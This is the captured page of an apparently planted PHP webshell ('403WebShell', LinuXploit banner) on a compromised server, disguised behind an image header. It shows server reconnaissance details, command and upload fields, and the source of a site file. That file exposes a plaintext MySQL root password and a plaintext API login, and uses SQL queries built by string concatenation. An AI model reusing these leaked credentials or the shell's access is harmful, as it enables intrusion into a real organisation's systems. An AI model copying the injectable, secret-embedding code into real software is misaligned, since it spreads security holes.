????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.21
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/ecoguard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/ecoguard/index_rh.php
<?php
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("energicontrol");


$output=null;
$retval=null;

$domaincode = "Astacus";

exec('curl -i -X POST https://integration.ecoguard.se/Token -H "Content-Type: application/x-www-form-urlencoded" -d "grant_type=password&username=rest@Astacus&password=ZXvuMegpWdzb5G2iwbjGUNG"', $output, $retval);

$accesstoken = json_decode($output[9],true);
$accesstoken = $accesstoken['access_token'];

$output=null;
$retval=null;


$from = time() - 60*60*100 ;//- (60*500);
$to = time()- 60*60*2 ;


exec('curl -i -X POST https://integration.ecoguard.se/api/'.$domaincode.'/data -d "nodeID=3&utl=RH[val]&interval=Q&from='.$from.'&to='.$to.'" -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: Bearer '.$accesstoken.'"', $output, $retval);

$json = json_decode($output[9],true);


foreach ($json as &$row) {
	$sensor = $row['Name'];
	$sensor_type = $row['Result'][0]['Utl'];
	$sensor_unit = $row['Result'][0]['Unit'];
	
//	echo("Sensor: ". $sensor." Type:".$sensor_type." Unit: ".$sensor_unit."<br>");
	
	foreach($row['Result'][0]['Values'] as &$result){
	
		$time = $result['Time'];
		$value = $result['Value'];
		$rounded_seconds = round($time / (15 * 60)) * (15 * 60);
		//echo(" Time:".date("Y-m-d H:i:s",$rounded_seconds)." Temp:".$value."<br>");
		
	
		$sql = "SELECT * FROM tblEcoguard WHERE SensorName = '".$sensor."' and Time = '".date("Y-m-d H:i:s",$rounded_seconds)."';";
		$res = mysql_query($sql);
		$v = "null";
		while ($row = mysql_fetch_assoc($res)){
			$v = $row['Value'];
		}
		
		//if($v == "null"){
			$sql = "INSERT INTO tblEcoguard VALUES(null,'".$sensor."','".$sensor_type."','".$sensor_unit."','".date("Y-m-d H:i:s",$rounded_seconds)."','".$value."');";
			echo($sql);
			mysql_query($sql);
		//}
		
	}
	



}



?>

Youez - 2016 - github.com/yon3zu
LinuXploit